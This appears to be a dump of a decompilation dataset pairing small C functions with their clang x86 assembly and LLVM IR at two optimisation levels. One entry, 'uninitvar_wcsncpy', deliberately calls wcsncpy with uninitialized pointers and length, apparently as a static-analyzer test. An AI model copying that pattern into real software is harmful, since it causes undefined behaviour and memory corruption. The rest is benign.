xunge/DecIR huggingface dataset:
void dl_G_TEXRECTFLIP() {}


x86 assembly (clang, -O0):
<dl_G_TEXRECTFLIP>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<dl_G_TEXRECTFLIP>:
ret

LLVM IR (-O0):
define void @dl_G_TEXRECTFLIP() {
ret void
}

LLVM IR (-O2):
define void @dl_G_TEXRECTFLIP() {
ret void
}
/* Type definitions */
struct _stor_lookup_destroy_rsp {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ osapi_free(struct _stor_lookup_destroy_rsp *);
void stor_lookup_destroy_rsp_free(struct _stor_lookup_destroy_rsp *ptr) {
  osapi_free(ptr);
}


x86 assembly (clang, -O0):
<stor_lookup_destroy_rsp_free>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
call   1030 <osapi_free@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<stor_lookup_destroy_rsp_free>:
jmp    1030 <osapi_free@plt>

LLVM IR (-O0):
%struct._stor_lookup_destroy_rsp = type { i32 }
define void @stor_lookup_destroy_rsp_free(%struct._stor_lookup_destroy_rsp* %0) {
%2 = alloca %struct._stor_lookup_destroy_rsp*
store %struct._stor_lookup_destroy_rsp* %0, %struct._stor_lookup_destroy_rsp** %2
%3 = load %struct._stor_lookup_destroy_rsp*, %struct._stor_lookup_destroy_rsp** %2
%4 = call i32 @osapi_free(%struct._stor_lookup_destroy_rsp* %3)
ret void
}

LLVM IR (-O2):
%struct._stor_lookup_destroy_rsp = type { i32 }
define void @stor_lookup_destroy_rsp_free(%struct._stor_lookup_destroy_rsp* %0) {
%2 = tail call i32 @osapi_free(%struct._stor_lookup_destroy_rsp* %0)
ret void
}
/* Variables and functions */
int /*<<< orphan*/ f(int *);
void g(int b[]) { f(b); }


x86 assembly (clang, -O0):
<g>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
call   1030 <f@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<g>:
jmp    1030 <f@plt>

LLVM IR (-O0):
define void @g(i32* %0) {
%2 = alloca i32*
store i32* %0, i32** %2
%3 = load i32*, i32** %2
%4 = call i32 @f(i32* %3)
ret void
}

LLVM IR (-O2):
define void @g(i32* %0) {
%2 = tail call i32 @f(i32* %0)
ret void
}
/* Type definitions */
typedef int /*<<< orphan*/ wchar_t;

/* Variables and functions */
int /*<<< orphan*/ wcsncpy(int /*<<< orphan*/ *, int /*<<< orphan*/ *, size_t);
void uninitvar_wcsncpy(void) {
  wchar_t *cs;
  wchar_t *ct;
  size_t n;
  (void)wcsncpy(cs, ct, n);
}


x86 assembly (clang, -O0):
<uninitvar_wcsncpy>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    -0x8(%rbp),%rdi
mov    -0x10(%rbp),%rsi
mov    -0x18(%rbp),%rdx
call   1030 <wcsncpy@plt>
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<uninitvar_wcsncpy>:
jmp    1030 <wcsncpy@plt>

LLVM IR (-O0):
define void @uninitvar_wcsncpy() {
%1 = alloca i32*
%2 = alloca i32*
%3 = alloca i64
%4 = load i32*, i32** %1
%5 = load i32*, i32** %2
%6 = load i64, i64* %3
%7 = call i32 @wcsncpy(i32* %4, i32* %5, i64 %6)
ret void
}

LLVM IR (-O2):
define void @uninitvar_wcsncpy() {
%1 = tail call i32 @wcsncpy(i32* undef, i32* undef, i64 undef)
ret void
}
int remove(const char *path) { return 0; }


x86 assembly (clang, -O0):
<remove>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<remove>:
xor    %eax,%eax
ret

LLVM IR (-O0):
define i32 @remove(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
ret i32 0
}

LLVM IR (-O2):
define i32 @remove(i8* nocapture readnone %0) {
ret i32 0
}
float D_GGX(float roughness, float NdH) {
  float a = roughness * roughness;
  float a2 = a * a;
  float d = (NdH * a2 - NdH) * NdH + 1;
  return a2 / (3.14159 * d * d);
}


x86 assembly (clang, -O0):
<D_GGX>:
push   %rbp
mov    %rsp,%rbp
movss  %xmm0,-0x4(%rbp)
movss  %xmm1,-0x8(%rbp)
movss  -0x4(%rbp),%xmm0
mulss  -0x4(%rbp),%xmm0
movss  %xmm0,-0xc(%rbp)
movss  -0xc(%rbp),%xmm0
mulss  -0xc(%rbp),%xmm0
movss  %xmm0,-0x10(%rbp)
movss  -0x8(%rbp),%xmm0
movss  -0x10(%rbp),%xmm2
movss  -0x8(%rbp),%xmm1
movd   %xmm1,%eax
xor    $0x80000000,%eax
movd   %eax,%xmm1
mulss  %xmm2,%xmm0
addss  %xmm1,%xmm0
movss  -0x8(%rbp),%xmm1
mulss  %xmm1,%xmm0
movss  0xea7(%rip),%xmm1
addss  %xmm1,%xmm0
movss  %xmm0,-0x14(%rbp)
movss  -0x10(%rbp),%xmm0
cvtss2sd %xmm0,%xmm0
movss  -0x14(%rbp),%xmm1
cvtss2sd %xmm1,%xmm2
movsd  0xe7c(%rip),%xmm1
mulsd  %xmm2,%xmm1
movss  -0x14(%rbp),%xmm2
cvtss2sd %xmm2,%xmm2
mulsd  %xmm2,%xmm1
divsd  %xmm1,%xmm0
cvtsd2ss %xmm0,%xmm0
pop    %rbp
ret

x86 assembly (clang, -O2):
<D_GGX>:
mulss  %xmm0,%xmm0
mulss  %xmm0,%xmm0
movaps %xmm1,%xmm2
mulss  %xmm0,%xmm2
subss  %xmm1,%xmm2
mulss  %xmm1,%xmm2
addss  0xee1(%rip),%xmm2
cvtss2sd %xmm0,%xmm0
xorps  %xmm1,%xmm1
cvtss2sd %xmm2,%xmm1
movsd  0xed6(%rip),%xmm2
mulsd  %xmm1,%xmm2
mulsd  %xmm1,%xmm2
divsd  %xmm2,%xmm0
cvtsd2ss %xmm0,%xmm0
ret

LLVM IR (-O0):
define float @D_GGX(float %0, float %1) {
%3 = alloca float
%4 = alloca float
%5 = alloca float
%6 = alloca float
%7 = alloca float
store float %0, float* %3
store float %1, float* %4
%8 = load float, float* %3
%9 = load float, float* %3
%10 = fmul float %8, %9
store float %10, float* %5
%11 = load float, float* %5
%12 = load float, float* %5
%13 = fmul float %11, %12
store float %13, float* %6
%14 = load float, float* %4
%15 = load float, float* %6
%16 = load float, float* %4
%17 = fneg float %16
%18 = call float @llvm.fmuladd.f32(float %14, float %15, float %17)
%19 = load float, float* %4
%20 = call float @llvm.fmuladd.f32(float %18, float %19, float 1.000000e+00)
store float %20, float* %7
%21 = load float, float* %6
%22 = fpext float %21 to double
%23 = load float, float* %7
%24 = fpext float %23 to double
%25 = fmul double 3.141590e+00, %24
%26 = load float, float* %7
%27 = fpext float %26 to double
%28 = fmul double %25, %27
%29 = fdiv double %22, %28
%30 = fptrunc double %29 to float
ret float %30
}

LLVM IR (-O2):
define float @D_GGX(float %0, float %1) {
%3 = fmul float %0, %0
%4 = fmul float %3, %3
%5 = fneg float %1
%6 = tail call float @llvm.fmuladd.f32(float %1, float %4, float %5)
%7 = tail call float @llvm.fmuladd.f32(float %6, float %1, float 1.000000e+00)
%8 = fpext float %4 to double
%9 = fpext float %7 to double
%10 = fmul double %9, 3.141590e+00
%11 = fmul double %10, %9
%12 = fdiv double %8, %11
%13 = fptrunc double %12 to float
ret float %13
}
/* Variables and functions */
int pow(int, int);
int /*<<< orphan*/ printf(char *, int);
int main() {
  int x = 5;
  int b = 2;
  int result = pow(x, b);
  printf("result: %d", result);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
movl   $0x5,-0x8(%rbp)
movl   $0x2,-0xc(%rbp)
mov    -0x8(%rbp),%edi
mov    -0xc(%rbp),%esi
call   1040 <pow@plt>
mov    %eax,-0x10(%rbp)
mov    -0x10(%rbp),%esi
lea    0xeab(%rip),%rdi
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
mov    $0x5,%edi
mov    $0x2,%esi
call   1040 <pow@plt>
lea    0xec9(%rip),%rdi
mov    %eax,%esi
call   1030 <printf@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [11 x i8] c"result: %d\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
%4 = alloca i32
store i32 0, i32* %1
store i32 5, i32* %2
store i32 2, i32* %3
%5 = load i32, i32* %2
%6 = load i32, i32* %3
%7 = call i32 @pow(i32 %5, i32 %6)
store i32 %7, i32* %4
%8 = load i32, i32* %4
%9 = call i32 @printf(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str, i64 0, i64 0), i32 %8)
ret i32 0
}

LLVM IR (-O2):
@.str = [11 x i8] c"result: %d\00"
define i32 @main() {
%1 = tail call i32 @pow(i32 5, i32 2)
%2 = tail call i32 @printf(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str, i64 0, i64 0), i32 %1)
ret i32 0
}
/* Type definitions */
typedef int uint32_t;

/* Variables and functions */
int UINT32_C(int);
scalar_t__ rand();
uint32_t get16rand() {
  return ((uint32_t)rand() ^ (uint32_t)rand() << 15) & UINT32_C(0xFFFF);
}


x86 assembly (clang, -O0):
<get16rand>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    $0x0,%al
call   1040 <rand@plt>
mov    %eax,-0x8(%rbp)
mov    $0x0,%al
call   1040 <rand@plt>
mov    %rax,%rcx
mov    -0x8(%rbp),%eax
shl    $0xf,%ecx
xor    %ecx,%eax
mov    %eax,-0x4(%rbp)
mov    $0xffff,%edi
call   1030 <UINT32_C@plt>
mov    %eax,%ecx
mov    -0x4(%rbp),%eax
and    %ecx,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<get16rand>:
push   %r14
push   %rbx
push   %rax
xor    %eax,%eax
call   1040 <rand@plt>
mov    %rax,%r14
xor    %eax,%eax
call   1040 <rand@plt>
mov    %rax,%rbx
shl    $0xf,%ebx
xor    %r14d,%ebx
mov    $0xffff,%edi
call   1030 <UINT32_C@plt>
and    %ebx,%eax
add    $0x8,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
define i32 @get16rand() {
%1 = call i64 (...) @rand()
%2 = trunc i64 %1 to i32
%3 = call i64 (...) @rand()
%4 = trunc i64 %3 to i32
%5 = shl i32 %4, 15
%6 = xor i32 %2, %5
%7 = call i32 @UINT32_C(i32 65535)
%8 = and i32 %6, %7
ret i32 %8
}

LLVM IR (-O2):
define i32 @get16rand() {
%1 = tail call i64 (...) @rand()
%2 = trunc i64 %1 to i32
%3 = tail call i64 (...) @rand()
%4 = trunc i64 %3 to i32
%5 = shl i32 %4, 15
%6 = xor i32 %5, %2
%7 = tail call i32 @UINT32_C(i32 65535)
%8 = and i32 %6, %7
ret i32 %8
}
/* Variables and functions */
int d();
int main() { return d(); }


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
mov    $0x0,%al
call   1030 <d@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
xor    %eax,%eax
jmp    1030 <d@plt>

LLVM IR (-O0):
define i32 @main() {
%1 = alloca i32
store i32 0, i32* %1
%2 = call i32 (...) @d()
ret i32 %2
}

LLVM IR (-O2):
define i32 @main() {
%1 = tail call i32 (...) @d()
ret i32 %1
}
/* Variables and functions */
int check_strtol(char const *, int, long *);
int check_strtoi(const char *str, int base, int *value) {
  long lval;
  int err;
  err = check_strtol(str, base, &lval);
  if (!err)
    *value = (int)lval;
  return err;
}


x86 assembly (clang, -O0):
<check_strtoi>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    %rdx,-0x18(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0xc(%rbp),%esi
lea    -0x20(%rbp),%rdx
call   1030 <check_strtol@plt>
mov    %eax,-0x24(%rbp)
cmpl   $0x0,-0x24(%rbp)
jne    114c <check_strtoi+0x3c>
mov    -0x20(%rbp),%rax
mov    %eax,%ecx
mov    -0x18(%rbp),%rax
mov    %ecx,(%rax)
mov    -0x24(%rbp),%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<check_strtoi>:
push   %rbx
sub    $0x10,%rsp
mov    %rdx,%rbx
lea    0x8(%rsp),%rdx
call   1030 <check_strtol@plt>
test   %eax,%eax
jne    112c <check_strtoi+0x1c>
mov    0x8(%rsp),%ecx
mov    %ecx,(%rbx)
add    $0x10,%rsp
pop    %rbx
ret

LLVM IR (-O0):
define i32 @check_strtoi(i8* %0, i32 %1, i32* %2) {
%4 = alloca i8*
%5 = alloca i32
%6 = alloca i32*
%7 = alloca i64
%8 = alloca i32
store i8* %0, i8** %4
store i32 %1, i32* %5
store i32* %2, i32** %6
%9 = load i8*, i8** %4
%10 = load i32, i32* %5
%11 = call i32 @check_strtol(i8* %9, i32 %10, i64* %7)
store i32 %11, i32* %8
%12 = load i32, i32* %8
%13 = icmp ne i32 %12, 0
br i1 %13, label %18, label %14
14: ; preds = %3
%15 = load i64, i64* %7
%16 = trunc i64 %15 to i32
%17 = load i32*, i32** %6
store i32 %16, i32* %17
br label %18
18: ; preds = %14, %3
%19 = load i32, i32* %8
ret i32 %19
}

LLVM IR (-O2):
define i32 @check_strtoi(i8* %0, i32 %1, i32* nocapture writeonly %2) {
%4 = alloca i64
%5 = bitcast i64* %4 to i8*
%6 = call i32 @check_strtol(i8* %0, i32 %1, i64* %4)
%7 = icmp eq i32 %6, 0
br i1 %7, label %8, label %11
8: ; preds = %3
%9 = load i64, i64* %4
%10 = trunc i64 %9 to i32
store i32 %10, i32* %2
br label %11
11: ; preds = %8, %3
ret i32 %6
}
long get_stack_direction(void) {
  char dummy;
  static char *dummyaddr = (char *)0;
  if (!(dummyaddr == (char *)0)) {
    return (&dummy) - dummyaddr;
  } else {
    dummyaddr = &dummy;
    {
      long result = get_stack_direction();
      dummyaddr = (char *)0;
      return result;
    }
  }
}


x86 assembly (clang, -O0):
<get_stack_direction>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
cmpq   $0x0,0x2f10(%rip)
je     113d <get_stack_direction+0x2d>
mov    0x2f03(%rip),%rcx
lea    -0x9(%rbp),%rax
sub    %rcx,%rax
mov    %rax,-0x8(%rbp)
jmp    1164 <get_stack_direction+0x54>
lea    -0x9(%rbp),%rax
mov    %rax,0x2ee8(%rip)
call   1030 <get_stack_direction@plt>
mov    %rax,-0x18(%rbp)
movq   $0x0,0x2ed4(%rip)
mov    -0x18(%rbp),%rax
mov    %rax,-0x8(%rbp)
mov    -0x8(%rbp),%rax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<get_stack_direction>:
push   %rax
mov    0x2f18(%rip),%rcx
lea    0x7(%rsp),%rax
test   %rcx,%rcx
je     1127 <get_stack_direction+0x17>
sub    %rcx,%rax
pop    %rcx
ret
mov    %rax,0x2f02(%rip)
call   1030 <get_stack_direction@plt>
movq   $0x0,0x2ef2(%rip)
pop    %rcx
ret

LLVM IR (-O0):
@get_stack_direction.dummyaddr = internal global i8* null
define i64 @get_stack_direction() {
%1 = alloca i64
%2 = alloca i8
%3 = alloca i64
%4 = load i8*, i8** @get_stack_direction.dummyaddr
%5 = icmp eq i8* %4, null
br i1 %5, label %11, label %6
6: ; preds = %0
%7 = load i8*, i8** @get_stack_direction.dummyaddr
%8 = ptrtoint i8* %2 to i64
%9 = ptrtoint i8* %7 to i64
%10 = sub i64 %8, %9
store i64 %10, i64* %1
br label %14
11: ; preds = %0
store i8* %2, i8** @get_stack_direction.dummyaddr
%12 = call i64 @get_stack_direction()
store i64 %12, i64* %3
store i8* null, i8** @get_stack_direction.dummyaddr
%13 = load i64, i64* %3
store i64 %13, i64* %1
br label %14
14: ; preds = %11, %6
%15 = load i64, i64* %1
ret i64 %15
}

LLVM IR (-O2):
@get_stack_direction.dummyaddr = internal unnamed_addr global i8* null
define i64 @get_stack_direction() {
%1 = alloca i8
%2 = load i8*, i8** @get_stack_direction.dummyaddr
%3 = icmp eq i8* %2, null
br i1 %3, label %8, label %4
4: ; preds = %0
%5 = ptrtoint i8* %1 to i64
%6 = ptrtoint i8* %2 to i64
%7 = sub i64 %5, %6
br label %10
8: ; preds = %0
store i8* %1, i8** @get_stack_direction.dummyaddr
%9 = call i64 @get_stack_direction()
store i8* null, i8** @get_stack_direction.dummyaddr
br label %10
10: ; preds = %8, %4
%11 = phi i64 [ %9, %8 ], [ %7, %4 ]
ret i64 %11
}
/* Variables and functions */
int pow(int, int);
int /*<<< orphan*/ printf(char *, int, int);
int main() {
  int x, i;
  x = 1;
  i = 1;
  x = pow(2, 0);
  while (x <= 2010) {
    printf("2^%d = %d\n", i, x);
    x = pow(2, i);
    ++i;
  }
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
movl   $0x1,-0x8(%rbp)
movl   $0x1,-0xc(%rbp)
mov    $0x2,%edi
xor    %esi,%esi
call   1040 <pow@plt>
mov    %eax,-0x8(%rbp)
cmpl   $0x7da,-0x8(%rbp)
jg     1189 <main+0x69>
mov    -0xc(%rbp),%esi
mov    -0x8(%rbp),%edx
lea    0xe9a(%rip),%rdi
call   1030 <printf@plt>
mov    -0xc(%rbp),%esi
mov    $0x2,%edi
call   1040 <pow@plt>
mov    %eax,-0x8(%rbp)
mov    -0xc(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0xc(%rbp)
jmp    114c <main+0x2c>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %r14
push   %rbx
push   %rax
mov    $0x2,%edi
xor    %esi,%esi
call   1040 <pow@plt>
cmp    $0x7da,%eax
jg     1172 <main+0x52>
mov    $0x1,%ebx
lea    0xebd(%rip),%r14
cs nopw 0x0(%rax,%rax,1)
nopl   (%rax)
mov    %r14,%rdi
mov    %ebx,%esi
mov    %eax,%edx
call   1030 <printf@plt>
mov    $0x2,%edi
mov    %ebx,%esi
call   1040 <pow@plt>
add    $0x1,%ebx
cmp    $0x7db,%eax
jl     1150 <main+0x30>
xor    %eax,%eax
add    $0x8,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
@.str = [11 x i8] c"2^%d = %d\0A\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
store i32 0, i32* %1
store i32 1, i32* %2
store i32 1, i32* %3
%4 = call i32 @pow(i32 2, i32 0)
store i32 %4, i32* %2
br label %5
5: ; preds = %8, %0
%6 = load i32, i32* %2
%7 = icmp sle i32 %6, 2010
br i1 %7, label %8, label %16
8: ; preds = %5
%9 = load i32, i32* %3
%10 = load i32, i32* %2
%11 = call i32 @printf(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str, i64 0, i64 0), i32 %9, i32 %10)
%12 = load i32, i32* %3
%13 = call i32 @pow(i32 2, i32 %12)
store i32 %13, i32* %2
%14 = load i32, i32* %3
%15 = add nsw i32 %14, 1
store i32 %15, i32* %3
br label %5
16: ; preds = %5
ret i32 0
}

LLVM IR (-O2):
@.str = [11 x i8] c"2^%d = %d\0A\00"
define i32 @main() {
%1 = tail call i32 @pow(i32 2, i32 0)
%2 = icmp slt i32 %1, 2011
br i1 %2, label %3, label %10
3: ; preds = %0, %3
%4 = phi i32 [ %8, %3 ], [ 1, %0 ]
%5 = phi i32 [ %7, %3 ], [ %1, %0 ]
%6 = tail call i32 @printf(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str, i64 0, i64 0), i32 %4, i32 %5)
%7 = tail call i32 @pow(i32 2, i32 %4)
%8 = add nuw nsw i32 %4, 1
%9 = icmp slt i32 %7, 2011
br i1 %9, label %3, label %10
10: ; preds = %3, %0
ret i32 0
}
/* Type definitions */
struct j_state {
  int dummy;
};
typedef int /*<<< orphan*/ int64_t;

/* Variables and functions */
int /*<<< orphan*/ i_instr_rm(struct j_state *, int /*<<< orphan*/, int,
                              int /*<<< orphan*/, int, int, int /*<<< orphan*/,
                              int);
void i_store(struct j_state *s, int base, int64_t off, int reg) {
  i_instr_rm(s, 0, 0x89, 0, reg, base, off, 8);
}


x86 assembly (clang, -O0):
<i_store>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    %edx,-0x10(%rbp)
mov    %ecx,-0x14(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0x14(%rbp),%r8d
mov    -0xc(%rbp),%r9d
mov    -0x10(%rbp),%eax
xor    %ecx,%ecx
mov    $0x89,%edx
mov    %ecx,%esi
mov    %eax,(%rsp)
movl   $0x8,0x8(%rsp)
call   1030 <i_instr_rm@plt>
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<i_store>:
push   %rax
mov    %ecx,%r8d
mov    %edx,%eax
mov    %esi,%r9d
xor    %esi,%esi
mov    $0x89,%edx
xor    %ecx,%ecx
push   $0x8
push   %rax
call   1030 <i_instr_rm@plt>
add    $0x10,%rsp
pop    %rax
ret

LLVM IR (-O0):
%struct.j_state = type { i32 }
define void @i_store(%struct.j_state* %0, i32 %1, i32 %2, i32 %3) {
%5 = alloca %struct.j_state*
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
store %struct.j_state* %0, %struct.j_state** %5
store i32 %1, i32* %6
store i32 %2, i32* %7
store i32 %3, i32* %8
%9 = load %struct.j_state*, %struct.j_state** %5
%10 = load i32, i32* %8
%11 = load i32, i32* %6
%12 = load i32, i32* %7
%13 = call i32 @i_instr_rm(%struct.j_state* %9, i32 0, i32 137, i32 0, i32 %10, i32 %11, i32 %12, i32 8)
ret void
}

LLVM IR (-O2):
%struct.j_state = type { i32 }
define void @i_store(%struct.j_state* %0, i32 %1, i32 %2, i32 %3) {
%5 = tail call i32 @i_instr_rm(%struct.j_state* %0, i32 0, i32 137, i32 0, i32 %3, i32 %1, i32 %2, i32 8)
ret void
}
/* Variables and functions */
int /*<<< orphan*/ heap_init(char *, unsigned int);
int /*<<< orphan*/ instr_table_init();
int /*<<< orphan*/ interrupt_table_init();
int /*<<< orphan*/ module_system_init();
int /*<<< orphan*/ stack_init();
void loader_native_run(const char *name, char *buffer, unsigned len) {
  heap_init(buffer, len);
  stack_init();
  instr_table_init();
  interrupt_table_init();
  module_system_init();
}


x86 assembly (clang, -O0):
<loader_native_run>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %edx,-0x14(%rbp)
mov    -0x10(%rbp),%rdi
mov    -0x14(%rbp),%esi
call   1060 <heap_init@plt>
mov    $0x0,%al
call   1070 <stack_init@plt>
mov    $0x0,%al
call   1040 <instr_table_init@plt>
mov    $0x0,%al
call   1050 <interrupt_table_init@plt>
mov    $0x0,%al
call   1030 <module_system_init@plt>
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<loader_native_run>:
push   %rax
mov    %rsi,%rdi
mov    %edx,%esi
call   1060 <heap_init@plt>
xor    %eax,%eax
call   1070 <stack_init@plt>
xor    %eax,%eax
call   1040 <instr_table_init@plt>
xor    %eax,%eax
call   1050 <interrupt_table_init@plt>
xor    %eax,%eax
pop    %rcx
jmp    1030 <module_system_init@plt>

LLVM IR (-O0):
define void @loader_native_run(i8* %0, i8* %1, i32 %2) {
%4 = alloca i8*
%5 = alloca i8*
%6 = alloca i32
store i8* %0, i8** %4
store i8* %1, i8** %5
store i32 %2, i32* %6
%7 = load i8*, i8** %5
%8 = load i32, i32* %6
%9 = call i32 @heap_init(i8* %7, i32 %8)
%10 = call i32 (...) @stack_init()
%11 = call i32 (...) @instr_table_init()
%12 = call i32 (...) @interrupt_table_init()
%13 = call i32 (...) @module_system_init()
ret void
}

LLVM IR (-O2):
define void @loader_native_run(i8* nocapture readnone %0, i8* %1, i32 %2) {
%4 = tail call i32 @heap_init(i8* %1, i32 %2)
%5 = tail call i32 (...) @stack_init()
%6 = tail call i32 (...) @instr_table_init()
%7 = tail call i32 (...) @interrupt_table_init()
%8 = tail call i32 (...) @module_system_init()
ret void
}
/* Variables and functions */
int /*<<< orphan*/ exit(int /*<<< orphan*/);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, char *);
int /*<<< orphan*/ stderr;
void usage(char *pname) {
  fprintf(stderr,
          "The Network Discovery Tool "
          "0.0.1"
          " by "
          "Tadas Vilkeliskis"
          "\n"
          "Usage: %s <type> <options>\n"
          "Types:\n"
          " arp  Network discovery using ARP\n"
          "Options:\n"
          " -h   Help screen\n",
          pname);
  exit(0);
}


x86 assembly (clang, -O0):
<usage>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    0x2ead(%rip),%rax
mov    (%rax),%edi
mov    -0x8(%rbp),%rdx
lea    0xec0(%rip),%rsi
call   1030 <fprintf@plt>
xor    %edi,%edi
call   1040 <exit@plt>

x86 assembly (clang, -O2):
<usage>:
push   %rax
mov    %rdi,%rdx
mov    0x2eb5(%rip),%rax
mov    (%rax),%edi
lea    0xecc(%rip),%rsi
call   1030 <fprintf@plt>
xor    %edi,%edi
call   1040 <exit@plt>

LLVM IR (-O0):
@stderr = global i32 0
@.str = [150 x i8] c"The Network Discovery Tool 0.0.1 by Tadas Vilkeliskis\0AUsage: %s <type> <options>\0ATypes:\0A arp Network discovery using ARP\0AOptions:\0A -h Help screen\0A\00"
define void @usage(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i32, i32* @stderr
%4 = load i8*, i8** %2
%5 = call i32 @fprintf(i32 %3, i8* getelementptr inbounds ([150 x i8], [150 x i8]* @.str, i64 0, i64 0), i8* %4)
%6 = call i32 @exit(i32 0)
unreachable
}

LLVM IR (-O2):
@stderr = global i32 0
@.str = [150 x i8] c"The Network Discovery Tool 0.0.1 by Tadas Vilkeliskis\0AUsage: %s <type> <options>\0ATypes:\0A arp Network discovery using ARP\0AOptions:\0A -h Help screen\0A\00"
define void @usage(i8* %0) {
%2 = load i32, i32* @stderr
%3 = tail call i32 @fprintf(i32 %2, i8* getelementptr inbounds ([150 x i8], [150 x i8]* @.str, i64 0, i64 0), i8* %0)
%4 = tail call i32 @exit(i32 0)
unreachable
}
/* Variables and functions */
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *);
int /*<<< orphan*/ print_arguments(int, char **);
int /*<<< orphan*/ stderr;
int main(int argc, char **argv) {
  if (argc < 2) {
    fprintf(stderr, "ERROR: need at least one argument.\n");
    return 1;
  }
  print_arguments(argc, argv);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
cmpl   $0x2,-0x8(%rbp)
jge    1161 <main+0x41>
mov    0x2e99(%rip),%rax
mov    (%rax),%edi
lea    0xeb0(%rip),%rsi
call   1030 <fprintf@plt>
movl   $0x1,-0x4(%rbp)
jmp    1174 <main+0x54>
mov    -0x8(%rbp),%edi
mov    -0x10(%rbp),%rsi
call   1040 <print_arguments@plt>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
cmp    $0x1,%edi
jg     1142 <main+0x22>
mov    0x2eb3(%rip),%rax
mov    (%rax),%edi
lea    0xeca(%rip),%rsi
call   1030 <fprintf@plt>
mov    $0x1,%eax
pop    %rcx
ret
call   1040 <print_arguments@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@stderr = global i32 0
@.str = [36 x i8] c"ERROR: need at least one argument.\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%6 = load i32, i32* %4
%7 = icmp slt i32 %6, 2
br i1 %7, label %8, label %11
8: ; preds = %2
%9 = load i32, i32* @stderr
%10 = call i32 @fprintf(i32 %9, i8* getelementptr inbounds ([36 x i8], [36 x i8]* @.str, i64 0, i64 0))
store i32 1, i32* %3
br label %15
11: ; preds = %2
%12 = load i32, i32* %4
%13 = load i8**, i8*** %5
%14 = call i32 @print_arguments(i32 %12, i8** %13)
store i32 0, i32* %3
br label %15
15: ; preds = %11, %8
%16 = load i32, i32* %3
ret i32 %16
}

LLVM IR (-O2):
@stderr = global i32 0
@.str = [36 x i8] c"ERROR: need at least one argument.\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = icmp slt i32 %0, 2
br i1 %3, label %4, label %7
4: ; preds = %2
%5 = load i32, i32* @stderr
%6 = tail call i32 @fprintf(i32 %5, i8* getelementptr inbounds ([36 x i8], [36 x i8]* @.str, i64 0, i64 0))
br label %9
7: ; preds = %2
%8 = tail call i32 @print_arguments(i32 %0, i8** %1)
br label %9
9: ; preds = %7, %4
